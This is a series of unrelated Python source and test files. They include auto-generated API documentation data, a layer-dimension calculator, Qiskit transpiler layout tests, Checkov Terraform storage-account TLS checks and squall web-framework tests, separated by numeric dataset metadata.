argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='allowCaseVariations', argument_type=FunctionType( names=['bool'], is_optional=True, ), default_value='false', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function sets the name of an account.' , arguments={ "theAccount": """The account you wish to change the name. """, "name": """The new name. """, "allowCaseVariations": """Whether the username is case sensitive (if this is set to true, usernames Bob and bob will refer to different accounts) """ }, result='returns a true if the account name was set, false if an invalid argument was specified.' , ), url='setAccountName', ), field=FunctionOOPField( name='name', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="setAccountPassword", class_name='account', method=FunctionData( signature=FunctionSignature( name='setPassword', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='password', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function sets the password of the specified account.' , arguments={ "theAccount": """the account whose password you want to set """, "password": """the password """ }, result='returns true if the password was set correctly, false otherwise.' , ), url='setAccountPassword', ), field=FunctionOOPField( name='password', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ) ]
37.930959
470
0.354435
2,900
52,193
6.267931
0.09931
0.058921
0.050338
0.051054
0.782692
0.769984
0.762667
0.727458
0.626726
0.617099
0
0.000137
0.580193
52,193
1,375
471
37.958545
0.829446
0.000977
0
0.760181
1
0.012821
0.163751
0.000518
0
0
0
0
0
1
0
false
0.013575
0.000754
0
0.000754
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
1
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
6477b53d43f918c8a790ba36d2049f79db9f0018
1,869
py
Python
utils/single-layer-dim-comp.py
egaebel/cifar-neural-networks
036b7aed2923dd8fede1fdc241088a91dd83f369
[ "MIT" ]
null
null
null
utils/single-layer-dim-comp.py
egaebel/cifar-neural-networks
036b7aed2923dd8fede1fdc241088a91dd83f369
[ "MIT" ]
null
null
null
utils/single-layer-dim-comp.py
egaebel/cifar-neural-networks
036b7aed2923dd8fede1fdc241088a91dd83f369
[ "MIT" ]
null
null
null
from math import floor def single_layer_compute(width, height, kW, kH, dW, dH, padW=0, padH=0): # width = 28 # height = 28 # kW = 3 # kH = 3 # dW = 1 # dH = 1 # padW = 0 # padH = 0 owidth = floor((width + 2 * padW - kW) / dW + 1) oheight = floor((height + 2 * padH - kH) / dH + 1) return owidth, oheight def inception_layer_dims(width, height): column1 = (width, height) width, height = single_layer_compute(width, height, 3, 3, 1, 1, 0, 0) column2 = (width, height) width, height = single_layer_compute(width, height, 5, 5, 1, 1, 0, 0) column3 = (width, height) width, height = single_layer_compute(width, height, 3, 3, 1, 1, 0, 0) column4 = (width, height) return [column1, column2, column3, column4] def max_pool_55_11(width, height): return single_layer_compute(width, height, 5, 5, 1, 1, 0, 0) def max_pool_33_11(width, height): return single_layer_compute(width, height, 3, 3, 1, 1, 0, 0) def max_pool_33_22(width, height): return single_layer_compute(width, height, 3, 3, 2, 2, 0, 0) def max_pool_33_33(width, height): return single_layer_compute(width, height, 3, 3, 3, 3, 0, 0) def max_pool_22_11(width, height): return single_layer_compute(width, height, 2, 2, 1, 1, 0, 0) def max_pool_22_22(width, height): return single_layer_compute(width, height, 2, 2, 2, 2, 0, 0) def global_max_pool(width, height, pool_width, pool_height): return single_layer_compute(width, height, pool_width, pool_height, pool_width, pool_height, 0, 0) width = 32 height = 32 #def single_layer_compute(width, height, kW, kH, dW, dH, padW=0, padH=0): width, height = max_pool_33_22(width, height) width, height = max_pool_33_33(width, height) width, height = max_pool_33_33(width, height) print("width: %f height: %f" % (width, height))
30.639344
73
0.655966
304
1,869
3.832237
0.134868
0.32103
0.185408
0.23691
0.740773
0.711588
0.637768
0.590558
0.569957
0.527897
0
0.083106
0.214553
1,869
60
74
31.15
0.71049
0.074906
0
0.162162
0
0
0.011635
0
0
0
0
0
0
1
0.243243
false
0
0.027027
0.189189
0.513514
0.027027
0
0
0
null
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
6486c6de50939a54d5930e572e20a98c1ab8577a
144
py
Python
pytorch_bcnn/functions/accuracy/__init__.py
psadda/pytorch_bayesian_unet
bb22b44c64f5d83d78aa93880da97e0e6168dc1c
[ "MIT" ]
36
2019-12-04T02:09:25.000Z
2022-03-31T07:18:40.000Z
pytorch_bcnn/functions/accuracy/__init__.py
IhabBendidi/pytorch_bayesian_unet
cc09653a051072790760447c711887e289ed11dc
[ "MIT" ]
2
2021-01-24T04:21:16.000Z
2021-04-25T19:22:14.000Z
pytorch_bcnn/functions/accuracy/__init__.py
IhabBendidi/pytorch_bayesian_unet
cc09653a051072790760447c711887e289ed11dc
[ "MIT" ]
15
2020-04-10T05:29:31.000Z
2022-01-03T08:45:02.000Z
from __future__ import absolute_import from .discrete_dice import softmax_discrete_dice from .discrete_jaccard import softmax_discrete_jaccard
28.8
54
0.895833
19
144
6.210526
0.421053
0.20339
0.355932
0
0
0
0
0
0
0
0
0
0.090278
144
4
55
36
0.900763
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
64898ffe8f64a964467f128e04d3bb04fdff98b5
18,181
py
Python
test/python/transpiler/test_vf2_post_layout.py
t-imamichi/qiskit-core
8d2eeeac44f97af1e10514cdae4157e5923ff2e5
[ "Apache-2.0" ]
1,456
2017-08-05T16:33:05.000Z
2018-06-05T04:15:35.000Z
test/python/transpiler/test_vf2_post_layout.py
t-imamichi/qiskit-core
8d2eeeac44f97af1e10514cdae4157e5923ff2e5
[ "Apache-2.0" ]
365
2017-08-04T06:09:16.000Z
2018-06-05T08:33:37.000Z
test/python/transpiler/test_vf2_post_layout.py
declanmillar/qiskit-terra
43e4a72c9c1537dd3d220a52f7e56423dfdd926c
[ "Apache-2.0" ]
463
2017-08-05T04:10:01.000Z
2018-06-05T06:43:21.000Z
# This code is part of Qiskit. # # (C) Copyright IBM 2021. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative works of this code must retain this # copyright notice, and modified files need to carry a notice indicating # that they have been altered from the originals. """Test the VF2Layout pass""" import retworkx from qiskit import QuantumRegister, QuantumCircuit from qiskit.transpiler import CouplingMap, Layout, TranspilerError from qiskit.transpiler.passes.layout import vf2_utils from qiskit.transpiler.passes.layout.vf2_post_layout import VF2PostLayout, VF2PostLayoutStopReason from qiskit.converters import circuit_to_dag from qiskit.test import QiskitTestCase from qiskit.test.mock import FakeYorktown, FakeLima, FakeLimaV2, FakeYorktownV2 from qiskit.circuit import Qubit from qiskit.compiler.transpiler import transpile class TestVF2PostLayout(QiskitTestCase): """Tests the VF2Layout pass""" seed = 42 def assertLayout(self, dag, coupling_map, property_set): """Checks if the circuit in dag was a perfect layout in property_set for the given coupling_map""" self.assertEqual( property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND ) layout = property_set["post_layout"] for gate in dag.two_qubit_ops(): if dag.has_calibration_for(gate): continue physical_q0 = layout[gate.qargs[0]] physical_q1 = layout[gate.qargs[1]] self.assertTrue(coupling_map.graph.has_edge(physical_q0, physical_q1)) def assertLayoutV2(self, dag, target, property_set): """Checks if the circuit in dag was a perfect layout in property_set for the given coupling_map""" self.assertEqual( property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND ) layout = property_set["post_layout"] for gate in dag.two_qubit_ops(): if dag.has_calibration_for(gate): continue physical_q0 = layout[gate.qargs[0]] physical_q1 = layout[gate.qargs[1]] qargs = (physical_q0, physical_q1) self.assertTrue(target.instruction_supported(gate.name, qargs)) def test_no_constraints(self): """Test we raise at runtime if no target or coupling graph specified.""" qc = QuantumCircuit(2) empty_pass = VF2PostLayout() with self.assertRaises(TranspilerError): empty_pass.run(circuit_to_dag(qc)) def test_no_backend_properties(self): """Test we raise at runtime if no properties are provided with a coupling graph.""" qc = QuantumCircuit(2) empty_pass = VF2PostLayout(coupling_map=CouplingMap([(0, 1), (1, 2)])) with self.assertRaises(TranspilerError): empty_pass.run(circuit_to_dag(qc)) def test_empty_circuit(self): """Test no solution found for empty circuit""" qc = QuantumCircuit(2, 2) backend = FakeLima() cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.NO_SOLUTION_FOUND, ) def test_empty_circuit_v2(self): """Test no solution found for empty circuit with v2 backend""" qc = QuantumCircuit(2, 2) backend = FakeLimaV2() vf2_pass = VF2PostLayout(target=backend.target) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.NO_SOLUTION_FOUND, ) def test_skip_3q_circuit(self): """Test that the pass is a no-op on circuits with >2q gates.""" qc = QuantumCircuit(3) qc.ccx(0, 1, 2) backend = FakeLima() cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q ) def test_skip_3q_circuit_v2(self): """Test that the pass is a no-op on circuits with >2q gates with a target.""" qc = QuantumCircuit(3) qc.ccx(0, 1, 2) backend = FakeLimaV2() vf2_pass = VF2PostLayout(target=backend.target) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q ) def test_best_mapping_ghz_state_full_device_multiple_qregs(self): """Test best mappings with multiple registers""" backend = FakeLima() qr_a = QuantumRegister(2) qr_b = QuantumRegister(3) qc = QuantumCircuit(qr_a, qr_b) qc.h(qr_a[0]) qc.cx(qr_a[0], qr_a[1]) qc.cx(qr_a[0], qr_b[0]) qc.cx(qr_a[0], qr_b[1]) qc.cx(qr_a[0], qr_b[2]) qc.measure_all() tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial") initial_layout = tqc._layout dag = circuit_to_dag(tqc) cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() pass_ = VF2PostLayout(coupling_map=cmap, properties=props, seed=self.seed) pass_.run(dag) self.assertLayout(dag, cmap, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout) def test_2q_circuit_5q_backend(self): """A simple example, without considering the direction 0 - 1 qr1 - qr0 """ backend = FakeYorktown() qr = QuantumRegister(2, "qr") circuit = QuantumCircuit(qr) circuit.cx(qr[1], qr[0]) # qr1 -> qr0 tqc = transpile(circuit, backend, layout_method="dense") initial_layout = tqc._layout dag = circuit_to_dag(tqc) cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() pass_ = VF2PostLayout(coupling_map=cmap, properties=props, seed=self.seed) pass_.run(dag) self.assertLayout(dag, cmap, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout) def test_best_mapping_ghz_state_full_device_multiple_qregs_v2(self): """Test best mappings with multiple registers""" backend = FakeLimaV2() qr_a = QuantumRegister(2) qr_b = QuantumRegister(3) qc = QuantumCircuit(qr_a, qr_b) qc.h(qr_a[0]) qc.cx(qr_a[0], qr_a[1]) qc.cx(qr_a[0], qr_b[0]) qc.cx(qr_a[0], qr_b[1]) qc.cx(qr_a[0], qr_b[2]) qc.measure_all() tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial") initial_layout = tqc._layout dag = circuit_to_dag(tqc) pass_ = VF2PostLayout(target=backend.target, seed=self.seed) pass_.run(dag) self.assertLayoutV2(dag, backend.target, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout) def test_2q_circuit_5q_backend_v2(self): """A simple example, without considering the direction 0 - 1 qr1 - qr0 """ backend = FakeYorktownV2() qr = QuantumRegister(2, "qr") circuit = QuantumCircuit(qr) circuit.cx(qr[1], qr[0]) # qr1 -> qr0 tqc = transpile(circuit, backend, layout_method="dense") initial_layout = tqc._layout dag = circuit_to_dag(tqc) pass_ = VF2PostLayout(target=backend.target, seed=self.seed) pass_.run(dag) self.assertLayoutV2(dag, backend.target, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout) def test_target_invalid_2q_gate(self): """Test that we don't find a solution with a gate outside target.""" backend = FakeYorktownV2() qc = QuantumCircuit(2) qc.ecr(0, 1) dag = circuit_to_dag(qc) pass_ = VF2PostLayout(target=backend.target, seed=self.seed) pass_.run(dag) self.assertEqual( pass_.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.NO_SOLUTION_FOUND, ) class TestVF2PostLayoutScoring(QiskitTestCase): """Test scoring heuristic function for VF2PostLayout.""" def test_empty_score(self): """Test error rate is 0 for empty circuit.""" bit_map = {} reverse_bit_map = {} im_graph = retworkx.PyDiGraph() backend = FakeYorktownV2() vf2_pass = VF2PostLayout(target=backend.target) layout = Layout() score = vf2_pass._score_layout(layout, bit_map, reverse_bit_map, im_graph) self.assertEqual(0, score) def test_all_1q_score(self): """Test error rate for all 1q input.""" bit_map = {Qubit(): 0, Qubit(): 1} reverse_bit_map = {v: k for k, v in bit_map.items()} im_graph = retworkx.PyDiGraph() im_graph.add_node({"sx": 1}) im_graph.add_node({"sx": 1}) backend = FakeYorktownV2() vf2_pass = VF2PostLayout(target=backend.target) layout = Layout(bit_map) score = vf2_pass._score_layout(layout, bit_map, reverse_bit_map, im_graph) self.assertAlmostEqual(0.002925, score, places=5) def test_all_1q_avg_score(self): """Test average scoring for all 1q input.""" bit_map = {Qubit(): 0, Qubit(): 1} reverse_bit_map = {v: k for k, v in bit_map.items()} im_graph = retworkx.PyDiGraph() im_graph.add_node({"sx": 1}) im_graph.add_node({"sx": 1}) backend = FakeYorktownV2() vf2_pass = VF2PostLayout(target=backend.target) vf2_pass.avg_error_map = vf2_utils.build_average_error_map( vf2_pass.target, vf2_pass.properties, vf2_pass.coupling_map ) layout = Layout(bit_map) score = vf2_utils.score_layout( vf2_pass.avg_error_map, layout, bit_map, reverse_bit_map, im_graph ) self.assertAlmostEqual(0.02054, score, places=5) class TestVF2PostLayoutUndirected(QiskitTestCase): """Tests the VF2Layout pass""" seed = 42 def assertLayout(self, dag, coupling_map, property_set): """Checks if the circuit in dag was a perfect layout in property_set for the given coupling_map""" self.assertEqual( property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND ) layout = property_set["post_layout"] for gate in dag.two_qubit_ops(): if dag.has_calibration_for(gate): continue physical_q0 = layout[gate.qargs[0]] physical_q1 = layout[gate.qargs[1]] self.assertTrue(coupling_map.graph.has_edge(physical_q0, physical_q1)) def assertLayoutV2(self, dag, target, property_set): """Checks if the circuit in dag was a perfect layout in property_set for the given coupling_map""" self.assertEqual( property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND ) layout = property_set["post_layout"] for gate in dag.two_qubit_ops(): if dag.has_calibration_for(gate): continue physical_q0 = layout[gate.qargs[0]] physical_q1 = layout[gate.qargs[1]] qargs = (physical_q0, physical_q1) self.assertTrue(target.instruction_supported(gate.name, qargs)) def test_no_constraints(self): """Test we raise at runtime if no target or coupling graph specified.""" qc = QuantumCircuit(2) empty_pass = VF2PostLayout(strict_direction=False) with self.assertRaises(TranspilerError): empty_pass.run(circuit_to_dag(qc)) def test_no_backend_properties(self): """Test we raise at runtime if no properties are provided with a coupling graph.""" qc = QuantumCircuit(2) empty_pass = VF2PostLayout( coupling_map=CouplingMap([(0, 1), (1, 2)]), strict_direction=False ) with self.assertRaises(TranspilerError): empty_pass.run(circuit_to_dag(qc)) def test_empty_circuit(self): """Test no solution found for empty circuit""" qc = QuantumCircuit(2, 2) backend = FakeLima() cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props, strict_direction=False) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.NO_SOLUTION_FOUND, ) def test_empty_circuit_v2(self): """Test no solution found for empty circuit with v2 backend""" qc = QuantumCircuit(2, 2) backend = FakeLimaV2() vf2_pass = VF2PostLayout(target=backend.target, strict_direction=False) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.NO_SOLUTION_FOUND, ) def test_skip_3q_circuit(self): """Test that the pass is a no-op on circuits with >2q gates.""" qc = QuantumCircuit(3) qc.ccx(0, 1, 2) backend = FakeLima() cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props, strict_direction=False) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q ) def test_skip_3q_circuit_v2(self): """Test that the pass is a no-op on circuits with >2q gates with a target.""" qc = QuantumCircuit(3) qc.ccx(0, 1, 2) backend = FakeLimaV2() vf2_pass = VF2PostLayout(target=backend.target, strict_direction=False) vf2_pass.run(circuit_to_dag(qc)) self.assertEqual( vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q ) def test_best_mapping_ghz_state_full_device_multiple_qregs(self): """Test best mappings with multiple registers""" backend = FakeLima() qr_a = QuantumRegister(2) qr_b = QuantumRegister(3) qc = QuantumCircuit(qr_a, qr_b) qc.h(qr_a[0]) qc.cx(qr_a[0], qr_a[1]) qc.cx(qr_a[0], qr_b[0]) qc.cx(qr_a[0], qr_b[1]) qc.cx(qr_a[0], qr_b[2]) qc.measure_all() tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial") initial_layout = tqc._layout dag = circuit_to_dag(tqc) cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() pass_ = VF2PostLayout( coupling_map=cmap, properties=props, seed=self.seed, strict_direction=False ) pass_.run(dag) self.assertLayout(dag, cmap, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout) def test_2q_circuit_5q_backend(self): """A simple example, without considering the direction 0 - 1 qr1 - qr0 """ backend = FakeYorktown() qr = QuantumRegister(2, "qr") circuit = QuantumCircuit(qr) circuit.cx(qr[1], qr[0]) # qr1 -> qr0 tqc = transpile(circuit, backend, layout_method="dense") initial_layout = tqc._layout dag = circuit_to_dag(tqc) cmap = CouplingMap(backend.configuration().coupling_map) props = backend.properties() pass_ = VF2PostLayout( coupling_map=cmap, properties=props, seed=self.seed, strict_direction=False ) pass_.run(dag) self.assertLayout(dag, cmap, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout) def test_best_mapping_ghz_state_full_device_multiple_qregs_v2(self): """Test best mappings with multiple registers""" backend = FakeLimaV2() qr_a = QuantumRegister(2) qr_b = QuantumRegister(3) qc = QuantumCircuit(qr_a, qr_b) qc.h(qr_a[0]) qc.cx(qr_a[0], qr_a[1]) qc.cx(qr_a[0], qr_b[0]) qc.cx(qr_a[0], qr_b[1]) qc.cx(qr_a[0], qr_b[2]) qc.measure_all() tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial") initial_layout = tqc._layout dag = circuit_to_dag(tqc) pass_ = VF2PostLayout(target=backend.target, seed=self.seed, strict_direction=False) pass_.run(dag) self.assertLayoutV2(dag, backend.target, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout) def test_2q_circuit_5q_backend_v2(self): """A simple example, without considering the direction 0 - 1 qr1 - qr0 """ backend = FakeYorktownV2() qr = QuantumRegister(2, "qr") circuit = QuantumCircuit(qr) circuit.cx(qr[1], qr[0]) # qr1 -> qr0 tqc = transpile(circuit, backend, layout_method="dense") initial_layout = tqc._layout dag = circuit_to_dag(tqc) pass_ = VF2PostLayout(target=backend.target, seed=self.seed, strict_direction=False) pass_.run(dag) self.assertLayoutV2(dag, backend.target, pass_.property_set) self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
40.492205
100
0.651999
2,269
18,181
4.986778
0.098722
0.039859
0.033142
0.009898
0.884224
0.872117
0.869289
0.866991
0.866372
0.866372
0
0.024255
0.247126
18,181
448
101
40.582589
0.802382
0.130356
0
0.845029
0
0
0.033604
0.020962
0
0
0
0
0.128655
1
0.081871
false
0.225146
0.02924
0
0.125731
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
64c5110a531e2cc6dff0ae2c80d574e65c23ef40
5,175
py
Python
tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py
antonblr/checkov
9415c6593c537945c08f7a19f28bdd8b96966f67
[ "Apache-2.0" ]
4,013
2019-12-09T13:16:54.000Z
2022-03-31T14:31:01.000Z
tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py
antonblr/checkov
9415c6593c537945c08f7a19f28bdd8b96966f67
[ "Apache-2.0" ]
1,258
2019-12-17T09:55:51.000Z
2022-03-31T19:17:17.000Z
tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py
antonblr/checkov
9415c6593c537945c08f7a19f28bdd8b96966f67
[ "Apache-2.0" ]
638
2019-12-19T08:57:38.000Z
2022-03-30T21:38:37.000Z
import unittest import hcl2 from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.azure.StorageAccountMinimumTlsVersion import check class TestAppServiceMinTLSVersion(unittest.TestCase): def test_failure_option_not_present(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_insecure_option_present_tls10(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" min_tls_version = "TLS1_0" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_insecure_option_present_tls11(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" min_tls_version = "TLS1_1" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_secure_option_present(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" min_tls_version = "TLS1_2" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_future_option_present(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" min_tls_version = "TLS1_3" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main()
45.79646
89
0.551691
476
5,175
5.615546
0.155462
0.072952
0.078563
0.104751
0.899364
0.891508
0.891508
0.891508
0.891508
0.891508
0
0.016149
0.365797
5,175
112
90
46.205357
0.798294
0
0
0.742574
0
0
0.6943
0.201932
0
0
0
0
0.049505
1
0.049505
false
0.019802
0.039604
0
0.09901
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
64c5f7674df0e36c1bd797d0e288c1045b3025f6
285
py
Python
deeprobust/image/defense/__init__.py
smaranjitghose/DeepRobust
91f2b922e61a3fa0987e37b7ea6c1cd9150c1c81
[ "MIT" ]
647
2020-02-08T02:13:21.000Z
2022-03-31T07:44:00.000Z
deeprobust/image/defense/__init__.py
qilong-zhang/DeepRobust
276a7048aded2cf3a190d3851ffd4587b7d1dd49
[ "MIT" ]
77
2020-03-21T11:27:30.000Z
2022-03-23T10:55:53.000Z
deeprobust/image/defense/__init__.py
qilong-zhang/DeepRobust
276a7048aded2cf3a190d3851ffd4587b7d1dd49
[ "MIT" ]
139
2020-03-04T00:25:12.000Z
2022-03-21T15:45:29.000Z
from deeprobust.image.defense import base_defense from deeprobust.image.defense import pgdtraining from deeprobust.image.defense import fgsmtraining from deeprobust.image.defense import TherEncoding from deeprobust.image.defense import trades from deeprobust.image.defense import YOPO
40.714286
49
0.873684
37
285
6.702703
0.297297
0.33871
0.459677
0.629032
0.774194
0
0
0
0
0
0
0
0.084211
285
6
50
47.5
0.950192
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b383dbf6bd180ad3ad98a20b1b1bbe5473eb30b4
138
py
Python
tests/unit/metadata_normaliser/cli/conftest.py
meaningfy-ws/ted-xml-2-rdf
ac26a19f3761b7cf79d79a46be6323b658f067eb
[ "Apache-2.0" ]
1
2022-03-21T12:32:52.000Z
2022-03-21T12:32:52.000Z
tests/unit/metadata_normaliser/cli/conftest.py
meaningfy-ws/ted-xml-2-rdf
ac26a19f3761b7cf79d79a46be6323b658f067eb
[ "Apache-2.0" ]
24
2022-02-10T10:43:56.000Z
2022-03-29T12:36:21.000Z
tests/unit/metadata_normaliser/cli/conftest.py
meaningfy-ws/ted-sws
d1e351eacb2900f84ec7edc457e49d8202fbaff5
[ "Apache-2.0" ]
null
null
null
import pytest from tests import TEST_DATA_PATH @pytest.fixture def queries_folder_path(): return TEST_DATA_PATH / "sparql_queries"
15.333333
44
0.797101
20
138
5.15
0.65
0.15534
0.23301
0
0
0
0
0
0
0
0
0
0.144928
138
8
45
17.25
0.872881
0
0
0
0
0
0.101449
0
0
0
0
0
0
1
0.2
true
0
0.4
0.2
0.8
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
1
1
0
0
7
b3caf1cc5ac1b3f9bd44d60161c6e4b9adbf3f76
1,264
py
Python
tests/test_response_model_invalid.py
broHeryk/squall
47c844d45548ed62745ee8385d6e6bda9e8269ad
[ "MIT" ]
27
2021-12-04T15:54:59.000Z
2022-02-19T15:37:35.000Z
tests/test_response_model_invalid.py
broHeryk/squall
47c844d45548ed62745ee8385d6e6bda9e8269ad
[ "MIT" ]
21
2021-12-04T21:17:54.000Z
2022-01-30T23:45:43.000Z
tests/test_response_model_invalid.py
broHeryk/squall
47c844d45548ed62745ee8385d6e6bda9e8269ad
[ "MIT" ]
2
2021-12-29T10:53:59.000Z
2022-01-12T05:01:02.000Z
from typing import List import pytest from apischema import Unsupported from squall import Squall class NonPydanticModel: pass # from apischema.schemas import def test_invalid_response_model_raises(): with pytest.raises(Unsupported): app = Squall() @app.get("/", response_model=NonPydanticModel) def read_root(): pass # pragma: nocover def test_invalid_response_model_sub_type_raises(): with pytest.raises(Unsupported): app = Squall() @app.get("/", response_model=List[NonPydanticModel]) def read_root(): pass # pragma: nocover @pytest.mark.skip("Implement additional responses validation") def test_invalid_response_model_in_responses_raises(): with pytest.raises(Unsupported): app = Squall() @app.get("/", responses={"500": {"model": NonPydanticModel}}) def read_root(): pass # pragma: nocover @pytest.mark.skip("Implement additional responses validation") def test_invalid_response_model_sub_type_in_responses_raises(): with pytest.raises(Unsupported): app = Squall() @app.get("/", responses={"500": {"model": List[NonPydanticModel]}}) def read_root(): pass # pragma: nocover
24.784314
75
0.671677
139
